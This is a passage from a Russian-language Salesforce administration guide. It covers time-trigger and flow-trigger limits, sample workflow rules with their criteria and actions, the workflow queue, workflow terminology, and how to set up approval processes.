– Поле DATE или DATETIME, содержащее автоматические производные функции (например, TODAY или NOW).

– Поля формулы, содержащие поля слияния связанного объекта.

• Система Salesforce ограничивает количество триггеров времени, доступных организации в течение одного часа. Если
организация превышает ограничения, установленные для используемой версии, то система Salesforce переносит
выполнение дополнительных триггеров времени на следующий час. Например, если организация Unlimited Edition
использует 1 200 триггеров времени, выполнение которых запланировано на 16:00—17:00, то система Salesforce
обрабатывает 1 000 триггеров времени между 16:00—17:00, а оставшиеся 200 триггеров времени между 17:00—18:00.

• Продукт или прайс-лист, содержащий отложенные действия, не может быть заархивирован.

• Если действия бизнес-правил, зависимые от времени, существуют в очереди, вы не можете добавлять или удалять
временные триггеры или изменять даты триггеров без предварительного удаления действий. Поскольку удаленные
записинельзя восстановить, внимательнорассмотрите возможныепоследствияредактированиябизнес-правилперед
тем, как продолжить. Если вы решите отредактировать бизнес-правила, деактивируйте рабочий поток, который
требуетсяотредактировать, измените соответствующиеправила, послечего сохранитеизменения. Сведенияопоиске
и удалении действий бизнес-правил, зависимых от времени, из очереди см. в разделе Отслеживание отложенных
действий бизнес-правил на странице 4829.

Нижеперечисленыусловия, привыполнениикоторыхтриггерывременитакженемогутбытьдобавленыилиудалены.

– Если бизнес-правило активировано.

– Если бизнес-правило деактивировано, но содержит отложенные действия в очереди.

– Если бизнес-правилу задан критерий оценки «Оценить правило, если запись: создано и изменено».

– Если бизнес-правило добавлено в пакет.

СМ. ТАКЖЕ:

Добавление автоматизированных действий в бизнес-правило

Определение пользователя бизнес-правил по умолчанию для организации
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Рекомендации по триггерам потока (пробная версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Триггеры потока как действия бизнес-правила отличаются особыми алгоритмами и
ограничениями.

Прим.: Конструктор процессов заменяет триггеры потока как действия
бизнес-правила, ранее доступные только в пробной версии. Организации,
использующие триггеры потока как действия бизнес-правила, могут продолжить
их создание и редактирование; триггеры потока как действия бизнес-правила
недоступны новым организациям.

Прежде чем создать или добавить триггеры потока в бизнес-правила, просмотрите
перечисленные ниже рекомендации.

• Триггерыпотока доступны только для бизнес-правил. Онинемогут использоваться
как действия другими компонентами (например, процессами утверждения).

• Триггеры потока доступны для большинства объектов, поддерживаемых бизнес-правилами. Чтобы просмотреть
список поддерживаемых объектов, создайте триггер потока. Введите строку «Триггеры потока» в поле «Быстрый
поиск» в меню «Настройка» ищелкните «Триггеры потока».

• Триггерыпотокамогутзапускатьтолькоактивныеавтоматическизапущенныепотоки. Темнеменеережимтестирования
триггера потока позволяет администраторам выполнять последнюю версию потока, а другим пользователям —
активную версию потока.

• Потоки, запускаемые из бизнес-правил, выполняются в контексте системы, то есть полномочия пользователя,
безопасность поля и правила общего доступа не учитываются во время выполнения потока.

• Принеудачномвыполнениитриггерапотокапользователь, создавшийилиизменившийзапись сцельюсоответствия
критериямбизнес-правила, не сможет сохранитьданнуюзапись.Чтобыустранитьошибкивыполнения, просмотрите
события для действия потока в категории «Бизнес-правило» журналов отладки, которые содержат версию потока и
значения, переданные переменным потока.

• Триггер потока может задавать значения не более 25 переменных потока и переменных sObject. Ниже перечислены
применяемые ограничения.

– Триггеры потока не могут задавать переменные потока и переменные sObject посредством полей типа
«Раскрывающийся список со множественным выбором».

– Еслитриггерпотока задаетпеременнуюпотокапосредствомполя валюты, топотокупередается только стоимость.
Код ISO валютыирегионпропускаются. Еслиорганизацияиспользуетмультивалюту, то триггерпотокаиспользует
стоимость в валюте записи, содержащей указанное поле валюты.

– Триггеры потока не могут передавать значения переменным коллекции sObject в потоках.

• Если поток используется триггером потока активного бизнес-правила, то одна из его версий должна быть всегда
активной.

• После активации бизнес-правила посредством триггера потока запрещается изменять или добавлять версиюпотока
для внедрения элементов «Окно» или других элементов, которые нарушают ограничения по выполнению для
автоматически запущенного потока.Поток, который больше не является автоматически запущенным, не может быть
запущен триггерами потока. Рекомендуем сохранить поток, который не является автоматически запущенным, как
новый поток и назначить новому потоку статус автоматически запущенного. Чтобы запустить новый поток, просто
обновите триггеры потока.

• Триггеры потока недоступны как зависимые от времени действия бизнес-правила. Триггеры потока могут быть
добавлены в бизнес-правила только как немедленные действия.

• Если система выполняет бизнес-правило с несколькими триггерами потока, то данные потоки выполняются в
неопределенном порядке.
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• Триггеры потока, используемые в транзакции, выполняются после всех обновлений полей бизнес-правил, включая
любые триггеры Apex и стандартные проверки, выполненные в результате данных обновлений. После выполнения
триггеров потока система выполняет правила расширения.

• Потоки, запускаемые из бизнес-правил, контролируются ограничениями на транзакцию, которые уже применяются
кодом Apex.

• При запуске потоков из бизнес-правил, инициированных пакетными загрузками или импортами, операции DML
потоковвыполняютсяпакетомдлясокращенияколичестваобязательныхвызововиоптимизациипроизводительности
системы. Выполнение любого следующего элемента потока считается как операция DML: «Создание записи»,
«Обновление записи», «Удаление записи», «Быстрое создание», «Быстрое обновление» и «Быстрое удаление».

Например, организация использует приложение Data Loader или интерфейс Bulk API для обновления 50 записей;
данныеобновлениясоответствуюткритериямбизнес-правила, содержащегодействиетриггерапотока. Всвоюочередь,
система выполняет 50 экземпляров потока посредством одной транзакции. Каждый экземпляр выполняемого потока
называется сеансом. При этом система пытается выполнить каждую операцию DML во всех сеансах транзакции.
Предположим, чтопять сеансов выполняютодну ветвьпотока, содержащуюэлемент «Обновление записи» поимени
«SetEntitlement». Приэтомсистемадожидается достиженияданного элемента всемипятьюсеансамии затемвыполняет
одновременно все пять обновлений.

• Триггеры потока недоступны в наборах изменений.

• Триггеры потока не подлежат пакетированию.

Примеры бизнес-правил

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ищете идеи о том, как бизнес-правила могут обеспечить эффективность бизнеса?
Рассмотрите следующие примеры.

Бизнес-процессы
Отслеживание истечения срока действия контракта

Отслеживание при закрытии обращения платинового контракта

Назначение проверки кредитоспособности для нового клиента

Уведомление ответственного за организацию о новых сверхважных обращениях

Обновление статуса при задержке отправки

Автоматическая активация новых пользователей

Процессы кросс-объектов
Уведомление вице-президента по продажам об обращениях, зарегистрированных
для основных организаций

Настройка стандартного имени возможности

Настройка целевой даты принятия решения по обращениям

Обновление записи анкеты при согласии соискателя занять вакантное место

Управление сделками
Отслеживание закрытых возможностей

Переопределение стандартной даты закрытия возможности

Составление отчетов по нереализованным возможностям

Составление отчетов по неназначенным интересам

Отправка предупреждения при превышении скидки 40% для элемента строки сметы

4818

Бизнес-правилоРасширение Salesforce посредством интерактивных
инструментов



Уведомления
Уведомление ключевых сотрудников об изменении ответственного за организацию

Настройка напоминания о дне рождения контакта

Настройка напоминания о дате закрытия ценной возможности

Уведомление ответственного за организацию об обновлениях, внесенных другими пользователями

Отслеживание истечения срока действия контракта

КонтрактОбъект

Данноеправилоотправляетменеджерупопродлениюэлектронноенапоминание за 20 дней
до даты окончания контракта.

Описание

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям.

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Contract: Status equals Activated)

Критерии правила
(фильтр)

НетНемедленныедействия

20 днейдо «Контракт: Датаокончания» — Электронное предупреждение: отправкаменеджеру
по продлению электронного напоминания для подтверждения продления контракта.

Зависимыеотвремени
действия

Отслеживание при закрытии обращения платинового контракта
Данный пример предполагает наличие настраиваемого раскрывающегося списка «Contract Type», используемого
для определения уровня контракта для обращений, и значения раскрывающегося списка «Platinum».

ОбращениеОбъект

Данное правило отправляет электронный запрос отзыва контакту обращения через семь
днейпосле закрытиясверхважногообращения, есликлиентиспользуетплатиновыйконтракт.

Описание

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям.

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Case: Priority equals High) and
(Case: Closed equals True) and
(Case: Contract Type equals Platinum)

Критерии правила
(фильтр)

НетНемедленныедействия

7 днейпосле «Обращение: Дата/время закрытия» — Электронное предупреждение: отправка
запроса отзыва контакту обращения.

Зависимыеотвремени
действия
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Назначение проверки кредитоспособности для нового клиента
Данный пример предполагает наличие настраиваемого поля возможностей «New Customer».

ВозможностьОбъект

Данное правило назначает отделу дебиторской задолженности задачу по проверке
кредитоспособности потенциального клиента за 15 дней до даты закрытия возможности,
стоимость которой составляет более 50 000 рублей.

Описание

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям».

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Opportunity: Amount greater than 50000) and
(Opportunity: Closed equals False) and
(Opportunity: New Customer equals True)

Критерии правила
(фильтр)

НетНемедленныедействия

15 дней до «Возможность: Дата закрытия» — Задача: создание задачи для пользователей
роли «Дебиторская задолженность» для выполнения проверки кредитоспособности.

Зависимыеотвремени
действия

Уведомление ответственного за организацию о новых сверхважных обращениях
Данный пример предполагает наличие настраиваемого раскрывающегося списка «SLA» («Соглашение об уровне
обслуживания»), определяющего уровень соглашения для организаций и содержащего значение «Platinum».

ОбращениеОбъект

Данное правило уведомляет ответственного за организацию при создании сверхважного
обращения для организаций, которымпредоставляется платиновый уровень обслуживания.

Описание

Оценить правило, если запись: создано.Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Case: Priority equals High) and
(Account: SLA equals Platinum)

Критерии правила
(фильтр)

Электронное предупреждение: отправкасведенийосверхважномобращенииответственному
за организацию.

Немедленныедействия

Нет.Зависимыеотвремени
действия

Обновление статуса при задержке отправки

ОтправкаОбъект
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Данное правило обновляет поле «Статус отправки» значением «Задержка» припревышении
ожидаемой даты доставки без ее выполнения.

Описание

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям».

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Shipment: Status not equal to Delivered)

Критерии правила
(фильтр)

Нет.Немедленныедействия

1 день после «Отправка: Ожидаемая дата доставки» — Обновление поля: обновление поля
«Статус отправки» значением «Задержка» для записи «Отправка».

Зависимыеотвремени
действия

Автоматическая активация новых пользователей

ПользовательОбъект

Данное правило гарантирует, что каждый новый пользователь является активным, позволяя
пользователю выполнять вход в систему Salesforce.

Описание

Оценить правило, если запись: создано.Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(User: Active equals False)

Критерии правила
(фильтр)

Обновление поля: присвоение полю «Активно» значения «Истина».Немедленныедействия

Нет.Зависимыеотвремени
действия

Уведомление вице-президента по продажам об обращениях, зарегистрированных для основных
организаций
Рекомендуем использовать данное бизнес-правило, если вице-президент по продажам запрашивает сведения о любых
обращениях, зарегистрированных для основных организаций, которые определяются по размеру и доходу.

ОбращениеОбъект

Данное правило уведомляет вице-президента по продажам об обращениях,
зарегистрированных для основных организаций.

Описание

Оценить правило, если запись: создано.Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

Критерии правила
(фильтр)
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Электронное предупреждение: уведомление вице-президента об обращениях для крупных
организаций.

Немедленныедействия

Нет.Зависимыеотвремени
действия

Настройка стандартного имени возможности
Некоторые компании используют следующую схему наименования возможностей Имя организации: имя возможности.
Чтобы автоматизировать стандартное имя каждой возможности в организации, рекомендуем создать указанное ниже
бизнес-правило.

ВозможностьОбъект

Данное правило внедряет схему наименования возможностей.Описание

Оценить правило, если запись: создано и изменено.Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

NOT(CONTAINS( Name, Account.Name ))

Критерии правила
(фильтр)

Обновление поля: применение следующейформулы к имени возможности:

Account.Name & ": " & Name

Немедленныедействия

Нет.Зависимыеотвремени
действия

Настройка целевой даты принятия решения по обращениям
Данныйпримерописываетспособавтоматическойнастройкидатыпринятиярешенияпообращениямнаосновезначения
поля связанной организации. Пример использует настраиваемое поле организаций типа «Раскрывающийся список» по
имени «Support Level», содержащеетризначения («Basic», «Standard» и «Premium»), инастраиваемоеполеобращений
типа «Дата» по имени «Target Resolution Date».

Рекомендуемиспользоватьследующиетрипримерабизнес-правилдляавтоматическойнастройкицелевойдатыпринятия
решения по обращениям на основе уровня поддержки для связанной организации.

Настройка даты принятия решения для уровня поддержки Basic

ОбращениеОбъект

Данное правило настраивает целевую дату принятия решения по обращениям для
организаций, которым предоставляется базовый уровень поддержки на срок 30 дней.

Описание

Оценить правило, если запись: создано.Критерии оценки

Выполнить данное правило при оценке следующейформулы как истинной:

ISPICKVAL(Account.Support_Level__c , "Basic")

Критерии правила
(фильтр)
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Обновление поля: настройкаполя «Target Resolution Date» значением Today() + 30.Немедленныедействия

Нет.Зависимыеотвремени
действия

Настройка даты принятия решения для уровня поддержки Standard

ОбращениеОбъект

Данное правило настраивает целевую дату принятия решения по обращениям для
организаций, которым предоставляется стандартный уровень поддержки на срок 14 дней.

Описание

Оценить правило, если запись: создано.Критерии оценки

Выполнить данное правило при оценке следующейформулы как истинной:

ISPICKVAL(Account.Support_Level__c , "Standard")

Критерии правила
(фильтр)

Обновление поля: настройкаполя «Target Resolution Date» значением Today() + 14.Немедленныедействия

Нет.Зависимыеотвремени
действия

Настройка даты принятия решения для уровня поддержки Premium

ОбращениеОбъект

Данное правило настраивает целевую дату принятия решения по обращениям для
организаций, которым предоставляется расширенный уровень поддержки на срок 5 дней.

Описание

Оценить правило, если запись: создано.Критерии оценки

Выполнить данное правило при оценке следующейформулы как истинной:

ISPICKVAL(Account.Support_Level__c , "Premium")

Критерии правила
(фильтр)

Обновление поля: настройка поля «Target Resolution Date» значением Today() + 5.Немедленныедействия

Нет.Зависимыеотвремени
действия

Обновление записи анкеты при согласии соискателя занять вакантное место
Рекомендуемиспользовать бизнес-правилониже для закрытия записи анкетыпри согласии соискателя занять вакантное
место. Обновления поля кросс-объекта, внесенные в основную запись, поддерживаются настраиваемыми объектами во
взаимосвязи «Основная—подробная».

СоискательОбъект
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Данное правило назначает статусу анкеты значение «Closed» для настраиваемого объекта
«Анкета» приназначениистатусу соискателя значения «Accepted» длянастраиваемогообъекта
«Соискатель».

Описание

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям».

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Candidate: Status equals Accepted)

Критерии правила
(фильтр)

Обновление поля: назначение статусу анкеты значения «Closed» для родительской записи
анкеты.

Немедленныедействия

Нет.Зависимыеотвремени
действия

Отслеживание закрытых возможностей
Данный пример предполагает наличие типа записи «Закрытые возможности», дополняющего некоторые профили
дополнительными сведениями.

Прим.: Дополнительную информацию о типах записей см. в разделе «Типы записей» на странице 4412.

ВозможностьОбъект

Данное правило изменяет тип записи закрытых реализованных возможностей.Описание

Оценить правило, если запись: создано и изменено».Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Opportunity: Closed equals True) and
(Opportunity: Stage equals Closed Won)

Критерии правила
(фильтр)

Обновление поля: назначение типу записи значения «Закрытые возможности».Немедленныедействия

Нет.Зависимыеотвремени
действия

Переопределение стандартной даты закрытия возможности

ВозможностьОбъект

Данное правило переопределяет стандартную дату закрытия от закрытия квартала дошести
месяцев после даты создания возможности.

Описание

Оценить правило, если запись: создано.Критерии оценки
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Выполнить данное правило при выполнении следующих критериев:

(Opportunity: Closed equals False)

Критерии правила
(фильтр)

Обновление поля: использованиеформулынижедлянастройкидатызакрытиявозможности
шестью месяцами позже даты создания.

DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

Немедленныедействия

Нет.Зависимыеотвремени
действия

Составление отчетов по нереализованным возможностям

ВозможностьОбъект

Данное правило уведомляет вице-президента по продажам о нереализованной сделке на
этапе «Proposal/Price Quote», стоимость которой превышает 1 000 000 рублей.

Описание

Оценить правило, если запись: создано и изменено».Критерии оценки

Выполнить данное правило при оценке следующейформулы как истинной:

AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) ,
"Proposal/Price Quote"), ISPICKVAL(StageName,"Closed Lost"), (Amount
>1000000))

Критерии правила
(фильтр)

Электронное предупреждение: уведомлениевице-президентапопродажамонереализованной
сделке.

Немедленныедействия

Нет.Зависимыеотвремени
действия

Составление отчетов по неназначенным интересам
Данныйпримерпредполагаетдобавлениевсехненазначенныхинтересовправиломназначениявочередьненазначенных
интересов.

ИнтересОбъект

Данноеправило гарантирует своевременноеотслеживаниененазначенныхинтересовпутем
уведомления менеджера при неудачном принятии интереса в течение двух дней.

Описание

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям».

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

Lead Owner equals Unassigned Lead Queue

Критерии правила
(фильтр)

Нет.Немедленныедействия
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2 дня после «Интерес: Дата последнего изменения» — Электронное предупреждение:
уведомлениеменеджераоналичииотложенныхненазначенныхинтересов, созданныхболее
двух дней назад.

Зависимыеотвремени
действия

Отправка предупреждения при превышении скидки 40% для элемента строки сметы

Элемент строки сметыОбъект

Данное правило гарантирует отправку электронного предупреждения при применении
торговым представителем к элементу строки сметы скидки более 40%.

Описание

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям».

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

Quote Line Item: Discount is greater than 40

Критерии правила
(фильтр)

Электронное предупреждение: уведомление менеджера о превышении скидки 40% для
элемента строки сметы.

Немедленныедействия

Нет.Зависимыеотвремени
действия

Уведомление ключевых сотрудников об изменении ответственного за организацию

ОрганизацияОбъект

Данное правило уведомляет ключевых сотрудников отдела продаж об изменении
ответственного за организацию, годовой доход которой превышает 1 000 000 рублей.

Описание

Оценить правило, если запись: создано и изменено».Критерии оценки

Выполнить данное правило при оценке следующейформулы как истинной:

AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

Критерии правила
(фильтр)

Электронное предупреждение: уведомление сотрудника отдела продаж об изменении
ответственности за организацию.

Немедленныедействия

Нет.Зависимыеотвремени
действия
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Настройка напоминания о дне рождения контакта
Данный пример предполагает наличие настраиваемого поля формулы «Next Birthday», использующего формулу
ниже для вычисления даты следующего дня рождения контакта в записях контактов.

IF(MONTH(Birthdate) > MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
IF(MONTH(Birthdate) < MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)),
IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

КонтактОбъект

Данное правило отправляет сообщение эл. почты за два дня до дня рождения контакта.Описание

Оценить правило, если запись: создано.Критерии оценки

Выполнить данное правило при оценке следующейформулы как истинной:

(Contact: Birthdate not equal to null) and
(Contact: Email not equal to null)

Критерии правила
(фильтр)

Нет.Немедленныедействия

2 дня до «Контакт: Следующийдень рождения» — Электронное предупреждение: отправка
поздравления на адрес эл. почты контакта.

Зависимыеотвремени
действия

Настройка напоминания о дате закрытия ценной возможности

ВозможностьОбъект

Данное правило уведомляет ответственного за возможность и его руководителей о
приближении даты закрытия крупной сделки (возможности со стоимостью более 100 000

Описание

рублей). Кроме того, правило создает дополнительную задачу для ответственного за
возможность, если сделка остается открытой после наступления даты закрытия.

Оценить правило, если запись: создано и изменено для дальнейшего соответствия
критериям».

Критерии оценки

Выполнить данное правило при выполнении следующих критериев:

(Opportunity: Amount greater than 100000) and
(Opportunity: Closed equals False)

Критерии правила
(фильтр)

Нет.Немедленныедействия

Зависимыеотвремени
действия

• 30 днейдо «Возможность: Дата закрытия» — Электронное предупреждение: уведомление
ответственного за возможность за 30 дней.

• 15 днейдо «Возможность: Дата закрытия» — Электронное предупреждение: уведомление
ответственного за возможность за 15 дней.
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• 5 днейпосле «Возможность: Дата закрытия» — Задача: созданиедополнительнойзадачи
дляответственногозавозможностьпообновлениюсделки. Электронное предупреждение:
уведомление руководителей для привлечения сотрудников.

Уведомление ответственного за организациюоб обновлениях, внесенных другими пользователями

ОрганизацияОбъект

Данное правило уведомляет ответственного за организацию об обновлении другими
пользователями организации, годовой доход которой превышает 1 000 000 рублей.

Описание

Оценить правило, если запись: создано и изменено».Критерии оценки

Выполнить данное правило при оценке следующейформулы как истинной:

AND( (LastModifiedById <> CreatedById), (AnnualRevenue > 1000000) )

Критерии правила
(фильтр)

Электронное предупреждение: уведомлениеответственногозаорганизациюобобновлении
организации другими пользователями.

Немедленныедействия

Нет.Зависимыеотвремени
действия

СМ. ТАКЖЕ:

Бизнес-правило

Установка критериев для бизнес-правила
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Отслеживание отложенных действий бизнес-правил

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Доступно за
дополнительную плату в
версиях: Professional
Edition.

Задачи бизнес-правил и
электронные
предупреждения
недоступны в версиях:
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления очередью
бизнес-правил:
• «Изменение всех

данных»

Еслисистема Salesforce инициируетвыполнениебизнес-правила, содержащегозависимые
от времени действия, то очередь бизнес-правил может использоваться для просмотра
и отмены отложенных действий.

1. Введите строку «Контролируемые по времени бизнес-правила» вполе «Быстрый поиск»
в меню «Настройка» и выберите пункт «Контролируемые по времени
бизнес-правила».

2. Чтобы просмотреть список всех отложенных действий для любых активных
бизнес-правил, нажмите кнопку «Поиск». Чтобы просмотреть список отложенных
действий, соответствующих только определенному критерию, укажите критерий
фильтрацииинажмите кнопку «Поиск». Нижеперечисленыдоступныепараметры
фильтрации.

• Имя бизнес-правила: имя бизнес-правила.

• Объект: объект, инициировавший выполнение бизнес-правила. Введите имя
объекта в единственном числе.

• Запланированная дата: дата, на которую запланировано выполнение
отложенных действий.

• Дата создания: дата создания записи, инициировавшей выполнение
бизнес-правила.

• Создал: автор записи, инициировавшей выполнение бизнес-правила.

• Имя записи: имя записи, инициировавшей выполнение бизнес-правила.

Фильтр не чувствителен к регистру.

Чтобы отменить отложенные действия, выполните указанные ниже действия.

1. Установите флажки напротив нужных отложенных действий.

2. Нажмите кнопку «Удалить».

Терминология бизнес-правил

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Нижеприведенытермины, используемыедляописанияфункциональныхвозможностей
бизнес-правил.

Бизнес-правило
Бизнес-правилоопределяетдействия, выполняемыеприсоблюденииопределенных
условий. Действия бизнес-правил могут выполняться немедленно (если запись
соответствует заданным условиям) или в определенный день (если заданы триггеры
времени). Действие бизнес-правила, которое еще не было выполнено, может быть
просмотрено и изменено в очереди бизнес-правил.

Действие бизнес-правила
Действие бизнес-правила (например, электронное предупреждение, обновление
поля, исходящее сообщение или задача), выполняемое при соблюдении условий
бизнес-правила.
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Электронное предупреждение
Электронное предупреждение — это действие бизнес-правила и утверждения, которое создается на основешаблона
эл. почтыприиспользованиибизнес-правилаилипроцессаутверждения, изатемотправляетсяконкретнымполучателям
(пользователям Salesforce или другим лицам).Предупреждения бизнес-правил могут быть отправлены любому
пользователю или контакту, для которого указан действительный адрес эл. почты.

Обновление поля
Обновление поля — это действие бизнес-правила и утверждения, определяющее поле для обновления и его новое
значение.

Поток
Поток — это приложение, которое может выполнять логику, взаимодействовать с базой данных Salesforce, вызывать
классы Apex исобиратьпользовательскиеданные. Принеобходимостисоздайтепотокипосредствомоблачнойверсии
приложения Flow Designer.

Триггер потока
Триггер потока — это действие бизнес-правила, запускающее поток. Триггеры потока позволяют автоматизировать
сложные бизнес-процессы — создавать потоки для выполнения логики и разрешать событиям запуск потоков
посредством бизнес-правил, без создания специального кода.

Конструктор процессов заменяет триггеры потока как действия бизнес-правила, ранее доступные только в пробной
версии. Организации, использующие триггеры потока как действия бизнес-правила, могут продолжить их создание
и редактирование; триггеры потока как действия бизнес-правила недоступны новым организациям.

Задача
Назначениезадачивыбранномупользователю. Пользовательможет задать следующиеполя задачи: «Тема», «Статус»,
«Приоритет» и «Крайний срок». Задачи — это действия бизнес-правил и утверждений, инициированные
бизнес-правилами или процессами утверждения.

Исходящее сообщение
Исходящее сообщение — это действие бизнес-правил, утверждений или контрольных точек, которое отправляет
указанныесведенияуказаннойконечнойточке (например, внешнейслужбе). Параметрыисходящихсообщениймогут
быть заданы в меню настройки Salesforce. Затем рекомендуем настроить внешнюю конечную точку. Получатель
сообщений может быть создан посредством SOAP API.

Утверждения

Утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Автоматизированные процессы позволяют более эффективно использовать нашу
систему. Например, пользовательможет задатьбизнес-правила, которыеавтоматически
отправляют электронные предупреждения или назначают задачи на основе текущих
внутренних процессов. Утверждения — это новое слово в автоматизации рабочих
процессов, так как позволяют определять последовательность действий, необходимых
для утверждения записей.

Процесс утверждения — это автоматический процесс, который может использоваться
организацией для утверждения записей Salesforce. Процесс утверждения определяет
этапы, необходимые для утверждения записи, а также пользователей, ответственных за
утверждение. Этап может применяться ко всем записям процесса или только к записям,
которыесоответствуютопределеннымкритериям, заданнымадминистратором. Процесс
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утверждения также определяет действия, которые должныбыть предпринятыпри утверждении, отклонении, отзыве или
первоначальной отправке записи на утверждение.

Пример: Предположим, что организация использует трехуровневый процесс утверждения расходов. Процесс
утверждения используется для определения способа автоматической обработки каждого запроса и ответственного
сотрудника организации на основе суммы запроса.

• Записьорасходе, отправленнаяна утверждение, блокируется, а ее статусуприсваивается значение «Отправлено».

• Если сумма составляет менее 50 рублей, то запрос утверждается автоматически.

• Если сумма составляет более 50 рублей, то запрос на утверждение отправляется непосредственномуменеджеру.

• Еслисумма составляетболее 5 000 рублей, то запрос, утвержденныйменеджером, отправляется вице-президенту.

• Приутверждениивсехзапросовблокировказаписиотменяется, а еестатусуприсваиваетсязначение «Утверждено».

• Приотклонениилюбогозапросаблокировказаписиотменяется, аеестатусуприсваиваетсязначение «Отклонено».

Для процесса утверждения следует настроить следующие параметры:

• Критерии входа (для дополнения процесса только определенными записями).

• Кто может утверждать запросы?

• Кто может вносить изменения в запись после отправки для утверждения.

• Этапы, определяющие последовательность действий, выполняемых при соответствии записи заданным критериям.
Для каждого этапа может быть задано не более 40 действий, по 10 действий следующих типов: электронные
предупреждения, обновления полей, задачи и исходящие сообщения.

• Не более 40 дополнительных действий, выполняемых при исходной отправке, утверждении, отклоненииили отзыве
записи.

СМ. ТАКЖЕ:

Какой инструмент автоматизации следует использовать?

Создание процесса утверждения

Образец процесса утверждения

Терминология по процессам утверждения
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Начало работы с утверждениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания процессов
утверждения:
• «Настройка

приложения»

Процесс утверждения — это автоматический процесс, который может использоваться
организацией для утверждения записей Salesforce. Процесс утверждения определяет
этапы, необходимые для утверждения записи, а также ответственных за утверждение на
каждом этапе. Этап может применяться ко всем записям процесса или только к записям,
соответствующим определенным критериям, заданным администратором. Процесс
утверждения также определяет действия, которые должны быть выполнены при
утверждении, отклонении, отзывеилипервоначальнойотправке записина утверждение.

Прежде чем создать процесс утверждения, выполните указанные ниже действия.

• Чтобы подготовиться к внедрению и выбрать нужный мастер, просмотрите раздел
«Контрольный список процесса утверждения».

• При необходимости включите функцию электронного утверждения. Функция
электронного утверждения позволяет пользователям утверждать или отклонять
электронныезапросыпутемотправкиответанасообщениеэл. почты. Ответственным
заутверждениедолжнобытьпредоставленополномочие «API включен», позволяющее
утверждать или отклонять запросы на утверждение посредством эл. почты.

Чтобы автоматизировать процессы организации, выполните указанные ниже действия.

1. Создайте процесс утверждения.

2. Добавьте этапы в процесс утверждения.

3. Выберите действия исходной отправки.

4. Выберите действия окончательного утверждения.

5. Выберите действия окончательного отклонения.

6. Выберите действия отзыва.

7. При создании первого процесса утверждения выполните указанные ниже действия.

• Добавьте связанный список «Журнал утверждений» в соответствующий макет страницы. Связанный список
«Журнал утверждений» позволяет пользователям отправлять запросы на утверждение и отслеживать обработку
записей в процессе утверждения на странице сведений о записи.

• Рекомендуем добавить связанный список «Элементы для утверждения» в настраиваемые макеты начальной
страницы. Данныйсвязанныйсписокпозволяетбыстропросматриватьзапросыдляутвержденияилиотклонения.

• Заполните все настраиваемые поля иерархии соответствующими значениями.

8. Чтобыпросмотреть графическуюверсиюпроцесса утверждения, воспользуйтесь средствомвизуализациипроцессов.
Диаграмма, доступная толькодляпросмотра, отображается в видеблок-схемы. Диаграммаиинформационнаябоковая
панель используются для наглядного отображения заданных этапов, критериев и действий, составляющих процесс
утверждения.
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Прим.: Стандартныеотчетыпо запросамна утверждениехранятся впапках «Административныеотчеты» и «Отчеты
по действиям».

СМ. ТАКЖЕ:

Используйте Мастер прав, чтобы помочь создать процесс утверждения

Терминология по процессам утверждения

Образец процесса утверждения

Включение электронного утверждения

Контрольный список процесса утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Успешная реализация процесса утверждения требует его тщательного планирования.

Прежде чем создать процесс утверждения, просмотрите контрольный список ниже.

• Подготовьте шаблон эл. почты для запросов на утверждение.

• Подготовьте шаблон сообщения, содержащего запрос на утверждение.

• Определите отправителя запросов на утверждение.

• Определите назначенного ответственного за утверждение.

• Определите делегированного ответственного за утверждение.

• Определите необходимость фильтрации процесса утверждения.

• Определите действия исходной отправки.

• Определите возможность утверждения запросов посредством беспроводных
устройств.

